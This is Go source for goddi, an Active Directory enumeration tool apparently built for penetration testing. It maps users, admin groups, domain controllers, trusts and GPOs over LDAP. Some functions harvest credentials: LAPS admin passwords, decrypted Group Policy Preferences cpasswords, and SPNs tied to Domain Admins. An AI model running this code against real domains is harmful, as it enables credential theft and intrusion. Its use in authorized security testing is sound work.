"whenCreated", 199 | "whenChanged"} 200 | filter := "(&(samAccountType=805306368)(|(UserAccountControl:1.2.840.113556.1.4.803:=65536)(msDS-UserDontExpirePassword=TRUE)))" 201 | csv := [][]string{} 202 | csv = append(csv, attributes) 203 | 204 | sr := ldapSearch(baseDN, filter, attributes, conn) 205 | 206 | fmt.Printf("[i] Users with passwords not set to expire: %d found\n", len(sr.Entries)) 207 | for _, entry := range sr.Entries { 208 | data := []string{ 209 | entry.GetAttributeValue("sAMAccountName"), 210 | entry.GetAttributeValue("displayName"), 211 | entry.GetAttributeValue("description"), 212 | entry.GetAttributeValue("whenCreated"), 213 | entry.GetAttributeValue("whenChanged")} 214 | csv = append(csv, data) 215 | } 216 | writeCSV("Domain_Users_NoExpirePasswords", csv) 217 | } 218 | 219 | // GetMachineAccountOldPassword machine accounts with password older than 45 days 220 | // Reference: Scott Sutherland (@_nullbind) 221 | func GetMachineAccountOldPassword(conn *ldap.Conn, baseDN string) { 222 | 223 | attributes := []string{ 224 | "sAMAccountName", 225 | "dNSHostName", 226 | "operatingSystem", 227 | "operatingSystemServicePack", 228 | "description", 229 | "memberOf", 230 | "adminCount"} 231 | fortyfive := getWinFiletime(45) 232 | filter := "(&(sAMAccountType=805306369)(pwdlastset<=" + fortyfive + "))" 233 | csv := [][]string{} 234 | csv = append(csv, attributes) 235 | 236 | sr := ldapSearch(baseDN, filter, attributes, conn) 237 | 238 | fmt.Printf("[i] Machine Accounts with passwords older than 45 days: %d found\n", len(sr.Entries)) 239 | for _, entry := range sr.Entries { 240 | data := []string{ 241 | entry.GetAttributeValue("sAMAccountName"), 242 | entry.GetAttributeValue("dNSHostName"), 243 | entry.GetAttributeValue("operatingSystem"), 244 | entry.GetAttributeValue("operatingSystemServicePack"), 245 | entry.GetAttributeValue("description"), 246 | entry.GetAttributeValue("memberOf"), 247 | entry.GetAttributeValue("adminCount")} 248 | csv = append(csv, data) 249 | } 250 | writeCSV("Domain_MachineAccount_Old_Password", csv) 251 | } 252 | 253 | // GetFSMORoles domain FSMO Roles 254 | // Reference: Scott Sutherland (@_nullbind) 255 | func GetFSMORoles(conn *ldap.Conn, baseDN string) { 256 | 257 | attributes := []string{ 258 | "distinguishedname", 259 | "fSMORoleOwner"} 260 | filter := "(&(objectClass=*)(fSMORoleOwner=*))" 261 | csv := [][]string{} 262 | csv = append(csv, attributes) 263 | 264 | sr := ldapSearch(baseDN, filter, attributes, conn) 265 | 266 | fmt.Printf("[i] FSMO Roles: %d found\n", len(sr.Entries)) 267 | for _, entry := range sr.Entries { 268 | data := []string{ 269 | entry.DN, 270 | entry.GetAttributeValue("fSMORoleOwner")} 271 | csv = append(csv, data) 272 | } 273 | writeCSV("Domain_FSMO_Roles", csv) 274 | } 275 | 276 | // GetDomainSite domain sites 277 | // Reference: Scott Sutherland (@_nullbind) 278 | func GetDomainSite(conn *ldap.Conn, baseDN string) { 279 | 280 | attributes := []string{ 281 | "name", 282 | "distinguishedname", 283 | "whenCreated", 284 | "whenChanged"} 285 | baseDN = "CN=Sites,CN=Configuration," + baseDN 286 | filter := "(&(objectCategory=site)(name=*))" 287 | csv := [][]string{} 288 | csv = append(csv, attributes) 289 | 290 | sr := ldapSearch(baseDN, filter, attributes, conn) 291 | 292 | fmt.Printf("[i] Domain Sites: %d found\n", len(sr.Entries)) 293 | for _, entry := range sr.Entries { 294 | data := []string{ 295 | entry.GetAttributeValue("Name"), 296 | entry.DN, 297 | entry.GetAttributeValue("whenCreated"), 298 | entry.GetAttributeValue("whenChanged")} 299 | csv = append(csv, data) 300 | } 301 | writeCSV("Domain_Sites", csv) 302 | } 303 | 304 | // GetDomainSubnet domain subnets 305 | // Reference: Scott Sutherland (@_nullbind) 306 | func GetDomainSubnet(conn *ldap.Conn, baseDN string) { 307 | 308 | attributes := []string{ 309 | "site", 310 | "name", 311 | "description", 312 | "whenCreated", 313 | "whenChanged", 314 | "distinguishedname"} 315 | baseDN = "CN=Subnets,CN=Sites,CN=Configuration," + baseDN 316 | filter := "(objectCategory=subnet)" 317 | csv := [][]string{} 318 | csv = append(csv, attributes) 319 | 320 | sr := ldapSearch(baseDN, filter, attributes, conn) 321 | 322 | fmt.Printf("[i] Domain Subnets: %d found\n", len(sr.Entries)) 323 | for _, entry := range sr.Entries { 324 | data := []string{ 325 | entry.GetAttributeValue("site"), 326 | entry.GetAttributeValue("name"), 327 | entry.GetAttributeValue("description"), 328 | entry.GetAttributeValue("whenCreated"), 329 | entry.GetAttributeValue("whenChanged"), 330 | entry.DN} 331 | csv = append(csv, data) 332 | } 333 | writeCSV("Domain_Subnets", csv) 334 | } 335 | 336 | // GetDomainAccountPolicy domain Account Policy 337 | // Reference: Scott Sutherland (@_nullbind) 338 | func GetDomainAccountPolicy(conn *ldap.Conn, baseDN string) { 339 | 340 | attributes := []string{ 341 | "minPwdLength", 342 | "minPwdAge", 343 | "maxPwdAge", 344 | "pwdHistoryLength", 345 | "lockoutThreshold", 346 | "lockoutDuration", 347 | "lockOutObservationWindow", 348 | "pwdProperties", 349 | "whenChanged", 350 | "gPLink"} 351 | filter := "(objectClass=domainDNS)" 352 | csv := [][]string{} 353 | csv = append(csv, attributes) 354 | 355 | sr := ldapSearch(baseDN, filter, attributes, conn) 356 | 357 | fmt.Printf("[i] Domain Account Policy found\n") 358 | for _, entry := range sr.Entries { 359 | data := []string{ 360 | entry.GetAttributeValue("minPwdLength"), 361 | convertPwdAge(entry.GetAttributeValue("minPwdAge")), 362 | convertPwdAge(entry.GetAttributeValue("maxPwdAge")), 363 | entry.GetAttributeValue("pwdHistoryLength"), 364 | entry.GetAttributeValue("lockoutThreshold"), 365 | convertLockout(entry.GetAttributeValue("lockoutDuration")), 366 | convertLockout(entry.GetAttributeValue("lockOutObservationWindow")), 367 | entry.GetAttributeValue("pwdProperties"), 368 | entry.GetAttributeValue("whenChanged"), 369 | entry.GetAttributeValue("gPLink")} 370 | csv = append(csv, data) 371 | } 372 | writeCSV("Domain_Account_Policy", csv) 373 | } 374 | 375 | // GetDomainOUs domain OUs 376 | // Reference: Scott Sutherland (@_nullbind) 377 | func GetDomainOUs(conn *ldap.Conn, baseDN string) { 378 | 379 | attributes := []string{ 380 | "ou", 381 | "dn", 382 | "ADsPath", 383 | "objectClass", 384 | "whenCreated", 385 | "whenChanged", 386 | "instanceType"} 387 | filter := "(&(objectCategory=organizationalUnit)(ou=*))" 388 | csv := [][]string{} 389 | csv = append(csv, attributes) 390 | 391 | sr := ldapSearch(baseDN, filter, attributes, conn) 392 | 393 | fmt.Printf("[i] Domain OUs: %d found\n", len(sr.Entries)) 394 | for _, entry := range sr.Entries { 395 | data := []string{ 396 | entry.GetAttributeValue("ou"), 397 | entry.DN, 398 | baseDN, 399 | entry.GetAttributeValue("objectClass"), 400 | entry.GetAttributeValue("whenCreated"), 401 | entry.GetAttributeValue("whenChanged"), 402 | entry.GetAttributeValue("instanceType")} 403 | csv = append(csv, data) 404 | } 405 | writeCSV("Domain_OUs", csv) 406 | } 407 | 408 | // GetDomainGPOs domain GPOs 409 | // Reference: Scott Sutherland (@_nullbind) 410 | func GetDomainGPOs(conn *ldap.Conn, baseDN string) { 411 | 412 | attributes := []string{ 413 | "displayName", 414 | "dn", 415 | "gPCFileSysPath", 416 | "gPCUserExtensionNames", 417 | "gPCMachineExtensionNames"} 418 | filter := "(&(objectClass=groupPolicyContainer))" 419 | csv := [][]string{} 420 | csv = append(csv, attributes) 421 | 422 | sr := ldapSearch(baseDN, filter, attributes, conn) 423 | 424 | fmt.Printf("[i] Domain GPOs: %d found\n", len(sr.Entries)) 425 | for _, entry := range sr.Entries { 426 | data := []string{ 427 | entry.GetAttributeValue("displayName"), 428 | entry.DN, 429 | entry.GetAttributeValue("gPCFileSysPath"), 430 | entry.GetAttributeValue("gPCUserExtensionNames"), 431 | entry.GetAttributeValue("gPCMachineExtensionNames")} 432 | csv = append(csv, data) 433 | } 434 | writeCSV("Domain_GPOs", csv) 435 | } 436 | 437 | // GetGroupMembers all members of given group 438 | // Reference: Scott Sutherland (@_nullbind) 439 | func GetGroupMembers(conn *ldap.Conn, baseDN string, group string) { 440 | 441 | attributes := []string{ 442 | "memberOf", 443 | "sAMAccountName", 444 | "displayName"} 445 | csv := [][]string{} 446 | csv = append(csv, attributes) 447 | 448 | groupDN := getGroupDN(conn, baseDN, group) 449 | if len(groupDN) == 0 { 450 | writeCSV("Domain_Users_"+group, csv) 451 | } 452 | filter := "(&(objectCategory=user)(memberOf=" + groupDN + "))" 453 | 454 | sr := ldapSearch(baseDN, filter, attributes, conn) 455 | 456 | fmt.Printf("[i] %s: %d users found\n", group, len(sr.Entries)) 457 | for _, entry := range sr.Entries { 458 | data := []string{ 459 | group, 460 | entry.GetAttributeValue("sAMAccountName"), 461 | entry.GetAttributeValue("displayName")} 462 | csv = append(csv, data) 463 | } 464 | 465 | writeCSV("Domain_Users_"+group, csv) 466 | } 467 | 468 | // getGroupDN group dn 469 | // Reference: Scott Sutherland (@_nullbind) 470 | func getGroupDN(conn *ldap.Conn, baseDN string, group string) string { 471 | 472 | attributes := []string{ 473 | "memberOf", 474 | "sAMAccountName", 475 | "displayName"} 476 | filter := "(&(objectCategory=group)(samaccountname=" + group + "))" 477 | 478 | sr := ldapSearch(baseDN, filter, attributes, conn) 479 | 480 | if len(sr.Entries) != 0 { 481 | groupDN := sr.Entries[0].DN 482 | return groupDN 483 | } 484 | groupDN := "" 485 | return groupDN 486 | } 487 | 488 | // GetDomainComputers all domain computers 489 | // Reference: Scott Sutherland (@_nullbind) 490 | func GetDomainComputers(conn *ldap.Conn, baseDN string) { 491 | 492 | attributes := []string{ 493 | "sAMAccountName", 494 | "dNSHostName", 495 | "operatingSystem", 496 | "operatingSystemServicePack", 497 | "description"} 498 | filter := "(&(objectCategory=Computer)(SamAccountName=*))" 499 | csv := [][]string{} 500 | csv = append(csv, attributes) 501 | 502 | sr := ldapSearch(baseDN, filter, attributes, conn) 503 | 504 | fmt.Printf("[i] Domain Computers: %d found\n", len(sr.Entries)) 505 | for _, entry := range sr.Entries { 506 | data := []string{ 507 | entry.GetAttributeValue("sAMAccountName"), 508 | entry.GetAttributeValue("dNSHostName"), 509 | entry.GetAttributeValue("operatingSystem"), 510 | entry.GetAttributeValue("operatingSystemServicePack"), 511 | entry.GetAttributeValue("description")} 512 | csv = append(csv, data) 513 | } 514 | writeCSV("Domain_Computers_All", csv) 515 | } 516 | 517 | // GetDomainControllers all domain controllers 518 | // Reference: Scott Sutherland (@_nullbind) 519 | func GetDomainControllers(conn *ldap.Conn, baseDN string) { 520 | 521 | attributes := []string{ 522 | "sAMAccountName", 523 | "dNSHostName", 524 | "operatingSystem", 525 | "operatingSystemServicePack", 526 | "description"} 527 | filter := "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" 528 | csv := [][]string{} 529 | csv = append(csv, attributes) 530 | 531 | sr := ldapSearch(baseDN, filter, attributes, conn) 532 | 533 | fmt.Printf("[i] Domain Controllers: %d found\n", len(sr.Entries)) 534 | for _, entry := range sr.Entries { 535 | data := []string{ 536 | entry.GetAttributeValue("sAMAccountName"), 537 | entry.GetAttributeValue("dNSHostName"), 538 | entry.GetAttributeValue("operatingSystem"), 539 | entry.GetAttributeValue("operatingSystemServicePack"), 540 | entry.GetAttributeValue("description")} 541 | csv = append(csv, data) 542 | } 543 | writeCSV("Domain_Controllers", csv) 544 | } 545 | 546 | // GetSPNs all SPNs and check for DA 547 | // Reference: Scott Sutherland (@_nullbind) 548 | func GetSPNs(conn *ldap.Conn, baseDN string) { 549 | 550 | attributes := []string{ 551 | "sAMAccountName", 552 | "servicePrincipalName", 553 | "dNSHostName", 554 | "memberOf"} 555 | filter := "(&(servicePrincipalName=*))" 556 | csv := [][]string{} 557 | csv = append(csv, attributes) 558 | count := 0 559 | 560 | sr := ldapSearch(baseDN, filter, attributes, conn) 561 | 562 | for _, entry := range sr.Entries { 563 | da := "" 564 | if caseInsensitiveContains(entry.GetAttributeValue("memberOf"), "Domain Admins") { 565 | da = "Domain Admins" 566 | } 567 | 568 | spns := entry.GetAttributeValues("servicePrincipalName") 569 | count += len(spns) 570 | for _, spn := range spns { 571 | data := []string{ 572 | entry.GetAttributeValue("sAMAccountName"), 573 | spn, 574 | entry.GetAttributeValue("dNSHostName"), 575 | da} 576 | csv = append(csv, data) 577 | } 578 | } 579 | fmt.Printf("[i] SPNs: %d found\n", count) 580 | writeCSV("Domain_SPNs", csv) 581 | } 582 | 583 | // GetLAPS LAPs passwords 584 | // Reference: Scott Sutherland (@_nullbind), Karl Fosaaen (@kfosaaen), @_RastaMouse 585 | // https://blog.netspi.com/running-laps-around-clearcleartext-passwords/ 586 | // https://rastamouse.me/2018/03/laps---part-2/ 587 | func GetLAPS(conn *ldap.Conn, baseDN string) { 588 | 589 | attributes := []string{ 590 | "dNSHostName", 591 | "ms-Mcs-AdmPwd", 592 | "ms-Mcs-AdmPwdExpirationTime"} 593 | filter := "(&(objectCategory=Computer))" 594 | csv := [][]string{} 595 | csv = append(csv, attributes) 596 | 597 | sr := ldapSearch(baseDN, filter, attributes, conn) 598 | 599 | for _, entry := range sr.Entries { 600 | if len(entry.GetAttributeValue("ms-Mcs-AdmPwd")) > 0 { 601 | data := []string{ 602 | entry.GetAttributeValue("dNSHostName"), 603 | entry.GetAttributeValue("ms-Mcs-AdmPwd"), 604 | entry.GetAttributeValue("ms-Mcs-AdmPwdExpirationTime")} 605 | csv = append(csv, data) 606 | } 607 | } 608 | fmt.Printf("[i] LAPS passwords: %d found\n", len(csv)-1) 609 | writeCSV("Domain_Passwords_LAPS", csv) 610 | } 611 | 612 | // GetDomainTrusts all domain trusts and details 613 | // Reference: Scott Sutherland (@_nullbind) 614 | func GetDomainTrusts(conn *ldap.Conn, baseDN string) { 615 | attributes := []string{ 616 | "sourcedomain", 617 | "trustPartner", 618 | "dn", 619 | "trustType", 620 | "trustDirection", 621 | "trustAttributes", 622 | "whenCreated", 623 | "whenChanged", 624 | "objectClass"} 625 | filter := "(objectClass=trustedDomain)" 626 | csv := [][]string{} 627 | csv = append(csv, attributes) 628 | 629 | sr := ldapSearch(baseDN, filter, attributes, conn) 630 | 631 | fmt.Printf("[i] Domain Trusts: %d found\n", len(sr.Entries)) 632 | for _, entry := range sr.Entries { 633 | var ttype, directory, attribute string 634 | switch trust := entry.GetAttributeValue("trustType"); trust { 635 | case "1": 636 | ttype = "Downlevel Trust (Windows NT domain external)" 637 | case "2": 638 | ttype = "Uplevel Trust (Active Directory domain - parent-child, root domain, shortcut, external, or forest)" 639 | case "3": 640 | ttype = "MIT (non-Windows Kerberos version 5 realm)" 641 | case "4": 642 | ttype = "DCE (Theoretical trust type - DCE refers to Open Group's Distributed Computing)" 643 | } 644 | switch dir := entry.GetAttributeValue("trustDirection"); dir { 645 | case "0": 646 | directory = "Disabled" 647 | case "1": 648 | directory = "Inbound" 649 | case "2": 650 | directory = "Outbound" 651 | case "3": 652 | directory = "Bidirectional" 653 | } 654 | switch attrib := entry.GetAttributeValue("trustAttributes"); attrib { 655 | case "1": 656 | attribute = "non_transitive" 657 | case "2": 658 | attribute = "uplevel_only" 659 | case "4": 660 | attribute = "quarantined_domain" 661 | case "8": 662 | attribute = "forest_transitive" 663 | case "10": 664 | attribute = "cross_organization" 665 | case "20": 666 | attribute = "within_forest" 667 | case "40": 668 | attribute = "treat_as_external" 669 | case "80": 670 | attribute = "trust_uses_rc4_encryption" 671 | case "100": 672 | attribute = "trust_uses_aes_keys" 673 | default: 674 | attribute = entry.GetAttributeValue("trustAttributes") 675 | } 676 | data := []string{ 677 | baseDN, 678 | entry.GetAttributeValue("trustPartner"), 679 | entry.DN, 680 | ttype, 681 | directory, 682 | attribute, 683 | entry.GetAttributeValue("whenCreated"), 684 | entry.GetAttributeValue("whenChanged"), 685 | entry.GetAttributeValue("objectClass")} 686 | csv = append(csv, data) 687 | } 688 | writeCSV("Domain_Trusts", csv) 689 | } 690 | 691 | // GetGroupsAll all groups 692 | // Reference: Scott Sutherland (@_nullbind) 693 | func GetGroupsAll(conn *ldap.Conn, baseDN string) { 694 | 695 | attributes := []string{ 696 | "sAMAccountName", 697 | "dn", 698 | "description", 699 | "adminCount", 700 | "member"} 701 | filter := "(&(objectClass=group)(samaccountname=*))" 702 | csv := [][]string{} 703 | csv = append(csv, attributes) 704 | 705 | sr := ldapSearch(baseDN, filter, attributes, conn) 706 | 707 | fmt.Printf("[i] Groups: %d found\n", len(sr.Entries)) 708 | for _, entry := range sr.Entries { 709 | data := []string{ 710 | entry.GetAttributeValue("sAMAccountName"), 711 | entry.DN, 712 | entry.GetAttributeValue("description"), 713 | entry.GetAttributeValue("adminCount"), 714 | entry.GetAttributeValue("member")} 715 | csv = append(csv, data) 716 | } 717 | 718 | writeCSV("Domain_Groups_All", csv) 719 | } 720 | 721 | // Helper function for LDAP search 722 | func ldapSearch(searchDN string, filter string, attributes []string, conn *ldap.Conn) *ldap.SearchResult { 723 | 724 | searchRequest := ldap.NewSearchRequest( 725 | searchDN, 726 | ldap.ScopeWholeSubtree, ldap.DerefAlways, 0, 0, false, 727 | filter, 728 | attributes, 729 | nil) 730 | 731 | sr, err := conn.SearchWithPaging(searchRequest, 200) 732 | if err != nil { 733 | log.Println(err) 734 | } 735 | 736 | return sr 737 | 738 | } 739 | -------------------------------------------------------------------------------- /ddi/xml.go: -------------------------------------------------------------------------------- 1 | // Helper functions for GPP cpasswords 2 | 3 | package goddi 4 | 5 | import ( 6 | "encoding/xml" 7 | "io/ioutil" 8 | "os" 9 | ) 10 | 11 | // Groups groups.xml 12 | type Groups struct { 13 | XMLName xml.Name `xml:"Groups"` 14 | Users []User `xml:"User"` 15 | } 16 | 17 | // User groups.xml 18 | type User struct { 19 | Properties Properties `xml:"Properties"` 20 | Changed string `xml:"changed,attr"` 21 | } 22 | 23 | // Drives drives.xml 24 | type Drives struct { 25 | XMLName xml.Name `xml:"Drives"` 26 | Drives []Drive `xml:"Drive"` 27 | } 28 | 29 | // Drive drive.xml 30 | type Drive struct { 31 | Properties Properties `xml:"Properties"` 32 | Changed string `xml:"changed,attr"` 33 | } 34 | 35 | // DataSources datasources.xml 36 | type DataSources struct { 37 | XMLName xml.Name `xml:"DataSources"` 38 | DataSources []DataSource `xml:"DataSource"` 39 | } 40 | 41 | // DataSource datasources.xml 42 | type DataSource struct { 43 | Properties Properties `xml:"Properties"` 44 | Changed string `xml:"changed,attr"` 45 | } 46 | 47 | // NTServices services.xml 48 | type NTServices struct { 49 | XMLName xml.Name `xml:"NTServices"` 50 | NTServices []NTService `xml:"NTService"` 51 | } 52 | 53 | // NTService services.xml 54 | type NTService struct { 55 | Properties Properties `xml:"Properties"` 56 | Changed string `xml:"changed,attr"` 57 | } 58 | 59 | // Printers printers.xml 60 | type Printers struct { 61 | XMLName xml.Name `xml:"Printers"` 62 | Printers []SharedPrinter `xml:"SharedPrinter"` 63 | } 64 | 65 | // SharedPrinter printers.xml 66 | type SharedPrinter struct { 67 | Properties Properties `xml:"Properties"` 68 | Changed string `xml:"changed,attr"` 69 | } 70 | 71 | // ScheduledTasks scheduledtasks.xml 72 | type ScheduledTasks struct { 73 | XMLName xml.Name `xml:"ScheduledTasks"` 74 | ScheduledTasks []Task `xml:"Task"` 75 | } 76 | 77 | // Task scheduledtasks.xml 78 | type Task struct { 79 | Properties Properties `xml:"Properties"` 80 | Changed string `xml:"changed,attr"` 81 | } 82 | 83 | // Properties groups.xml, drives.xml, datasources.xml, services.xml, printers.xml, scheduledtasks.xml 84 | type Properties struct { 85 | Runas string `xml:"runAs,attr"` 86 | Accountname string `xml:"accountName,attr"` 87 | Username string `xml:"userName,attr"` 88 | Cpassword string `xml:"cpassword,attr"` 89 | Newname string `xml:"newName,attr"` 90 | } 91 | 92 | // Helper function to parse XML files for cpassword 93 | // Reference: https://msdn.microsoft.com/en-us/library/cc232650.aspx 94 | func parseXML(fullpath string, csvptr *[][]string) { 95 | 96 | xmlFile, err := os.Open(fullpath) 97 | if err != nil { 98 | return 99 | } 100 | defer xmlFile.Close() 101 | 102 | if caseInsensitiveContains(fullpath, "Groups.xml") { 103 | var groups Groups 104 | byteValue, _ := ioutil.ReadAll(xmlFile) 105 | xml.Unmarshal(byteValue, &groups) 106 | 107 | for i := 0; i < len(groups.Users); i++ { 108 | if len(groups.Users[i].Properties.Cpassword) == 0 { 109 | continue 110 | } 111 | temp := []string{ 112 | fullpath, 113 | groups.Users[i].Properties.Username, 114 | groups.Users[i].Properties.Cpassword, 115 | decrypt(groups.Users[i].Properties.Cpassword), 116 | groups.Users[i].Changed, 117 | groups.Users[i].Properties.Newname} 118 | *csvptr = append(*csvptr, temp) 119 | } 120 | } else if caseInsensitiveContains(fullpath, "Drives.xml") { 121 | var drives Drives 122 | byteValue, _ := ioutil.ReadAll(xmlFile) 123 | xml.Unmarshal(byteValue, &drives) 124 | 125 | for i := 0; i < len(drives.Drives); i++ { 126 | if len(drives.Drives[i].Properties.Cpassword) == 0 { 127 | continue 128 | } 129 | temp := []string{ 130 | fullpath, 131 | drives.Drives[i].Properties.Username, 132 | drives.Drives[i].Properties.Cpassword, 133 | decrypt(drives.Drives[i].Properties.Cpassword), 134 | drives.Drives[i].Changed, 135 | drives.Drives[i].Properties.Newname} 136 | *csvptr = append(*csvptr, temp) 137 | } 138 | } else if caseInsensitiveContains(fullpath, "Datasources.xml") { 139 | var datasources DataSources 140 | byteValue, _ := ioutil.ReadAll(xmlFile) 141 | xml.Unmarshal(byteValue, &datasources) 142 | 143 | for i := 0; i < len(datasources.DataSources); i++ { 144 | if len(datasources.DataSources[i].Properties.Cpassword) == 0 { 145 | continue 146 | } 147 | temp := []string{ 148 | fullpath, 149 | datasources.DataSources[i].Properties.Username, 150 | datasources.DataSources[i].Properties.Cpassword, 151 | decrypt(datasources.DataSources[i].Properties.Cpassword), 152 | datasources.DataSources[i].Changed, 153 | datasources.DataSources[i].Properties.Newname} 154 | *csvptr = append(*csvptr, temp) 155 | } 156 | } else if caseInsensitiveContains(fullpath, "Services.xml") { 157 | var ntservices NTServices 158 | byteValue, _ := ioutil.ReadAll(xmlFile) 159 | xml.Unmarshal(byteValue, &ntservices) 160 | 161 | for i := 0; i < len(ntservices.NTServices); i++ { 162 | if len(ntservices.NTServices[i].Properties.Cpassword) == 0 { 163 | continue 164 | } 165 | temp := []string{ 166 | fullpath, 167 | ntservices.NTServices[i].Properties.Accountname, 168 | ntservices.NTServices[i].Properties.Cpassword, 169 | decrypt(ntservices.NTServices[i].Properties.Cpassword), 170 | ntservices.NTServices[i].Changed, 171 | ntservices.NTServices[i].Properties.Newname} 172 | *csvptr = append(*csvptr, temp) 173 | } 174 | } else if caseInsensitiveContains(fullpath, "Printers.xml") { 175 | var printers Printers 176 | byteValue, _ := ioutil.ReadAll(xmlFile) 177 | xml.Unmarshal(byteValue, &printers) 178 | 179 | for i := 0; i < len(printers.Printers); i++ { 180 | if len(printers.Printers[i].Properties.Cpassword) == 0 { 181 | continue 182 | } 183 | temp := []string{ 184 | fullpath, 185 | printers.Printers[i].Properties.Accountname, 186 | printers.Printers[i].Properties.Cpassword, 187 | decrypt(printers.Printers[i].Properties.Cpassword), 188 | printers.Printers[i].Changed, 189 | printers.Printers[i].Properties.Newname} 190 | *csvptr = append(*csvptr, temp) 191 | } 192 | } else if caseInsensitiveContains(fullpath, "Scheduledtasks.xml") { 193 | var scheduledtasks ScheduledTasks 194 | byteValue, _ := ioutil.ReadAll(xmlFile) 195 | xml.Unmarshal(byteValue, &scheduledtasks) 196 | 197 | for i := 0; i < len(scheduledtasks.ScheduledTasks); i++ { 198 | if len(scheduledtasks.ScheduledTasks[i].Properties.Cpassword) == 0 { 199 | continue 200 | } 201 | temp := []string{ 202 | fullpath, 203 | scheduledtasks.ScheduledTasks[i].Properties.Runas, 204 | scheduledtasks.ScheduledTasks[i].Properties.Cpassword, 205 | decrypt(scheduledtasks.ScheduledTasks[i].Properties.Cpassword), 206 | scheduledtasks.ScheduledTasks[i].Changed, 207 | scheduledtasks.ScheduledTasks[i].Properties.Newname} 208 | *csvptr = append(*csvptr, temp) 209 | } 210 | } 211 | } 212 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Go dump domain info. 3 | Author: Thomas Elling (@thomas_elling), NetSPI 2018 4 | References: Based on work from Scott Sutherland (@_nullbind), Antti Rantasaari, Eric Gruber (@egru), 5 | @harmj0y, and the PowerView authors https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon. 6 | 7 | Requirements: gopkg.in/ldap.v2 8 | 9 | Usage: goddi-windows-amd64.exe -username=testuser -password="testpass!" -domain="test.local" -dc="dc.test.local" 10 | */ 11 | package main 12 | 13 | import ( 14 | "flag" 15 | "fmt" 16 | "log" 17 | "strings" 18 | "time" 19 | 20 | "github.com/NetSPI/goddi/ddi" 21 | ) 22 | 23 | func main() { 24 | 25 | ldapServer := flag.String("dc", "", "DC to connect to, use IP or full hostname ex. -dc=\"dc.test.local\"") 26 | domain := flag.String("domain", "", "domain ex. -domain=\"test.local\"") 27 | user := flag.String("username", "", "username to connect with ex. -username=\"testuser\"") 28 | pass := flag.String("password", "", "password to connect with ex. -password=\"testpass!\"") 29 | startTLS := flag.Bool("startTLS", false, "Use for StartTLS on 389. Default is TLS on 636") 30 | unsafe := flag.Bool("unsafe", false, "Use for testing and plaintext connection") 31 | flag.Parse() 32 | 33 | if len(*ldapServer) == 0 || len(*domain) == 0 || len(*user) == 0 || len(*pass) == 0 { 34 | flag.PrintDefaults() 35 | log.Fatal("[ERROR] Provide username, password, DC, and domain!\n") 36 | } 37 | 38 | var ldapIP string 39 | *ldapServer, ldapIP = goddi.ValidateIPHostname(*ldapServer, *domain) 40 | 41 | baseDN := "dc=" + strings.Replace(*domain, ".", ",dc=", -1) 42 | username := *user + "@" + *domain 43 | 44 | li := &goddi.LdapInfo{ 45 | LdapServer: *ldapServer, 46 | LdapIP: ldapIP, 47 | LdapPort: uint16(389), 48 | LdapTLSPort: uint16(636), 49 | User: username, 50 | Usergpp: *user, 51 | Pass: *pass, 52 | Domain: *domain, 53 | Unsafe: *unsafe, 54 | StartTLS: *startTLS} 55 | 56 | goddi.Connect(li) 57 | defer li.Conn.Close() 58 | 59 | start := time.Now() 60 | goddi.GetDomainTrusts(li.Conn, baseDN) 61 | goddi.GetDomainControllers(li.Conn, baseDN) 62 | goddi.GetUsers(li.Conn, baseDN) 63 | goddi.GetGroupMembers(li.Conn, baseDN, "Domain Admins") 64 | goddi.GetGroupMembers(li.Conn, baseDN, "Enterprise Admins") 65 | goddi.GetGroupMembers(li.Conn, baseDN, "Forest Admins") 66 | goddi.GetUsersLocked(li.Conn, baseDN) 67 | goddi.GetUsersDisabled(li.Conn, baseDN) 68 | goddi.GetGroupsAll(li.Conn, baseDN) 69 | goddi.GetDomainSite(li.Conn, baseDN) 70 | goddi.GetDomainSubnet(li.Conn, baseDN) 71 | goddi.GetDomainComputers(li.Conn, baseDN) 72 | goddi.GetUsersDeligation(li.Conn, baseDN) 73 | goddi.GetUsersNoExpire(li.Conn, baseDN) 74 | goddi.GetMachineAccountOldPassword(li.Conn, baseDN) 75 | goddi.GetDomainOUs(li.Conn, baseDN) 76 | goddi.GetDomainAccountPolicy(li.Conn, baseDN) 77 | goddi.GetDomainGPOs(li.Conn, baseDN) 78 | goddi.GetFSMORoles(li.Conn, baseDN) 79 | goddi.GetSPNs(li.Conn, baseDN) 80 | goddi.GetLAPS(li.Conn, baseDN) 81 | goddi.GetGPP(li.Conn, li.Domain, li.LdapServer, li.Usergpp, li.Pass) 82 | stop := time.Since(start) 83 | 84 | cwd := goddi.GetCWD() 85 | fmt.Printf("[i] CSVs written to 'csv' directory in %s\n[i] Execution took %s...\n[i] Exiting...\n", cwd, stop) 86 | } 87 | --------------------------------------------------------------------------------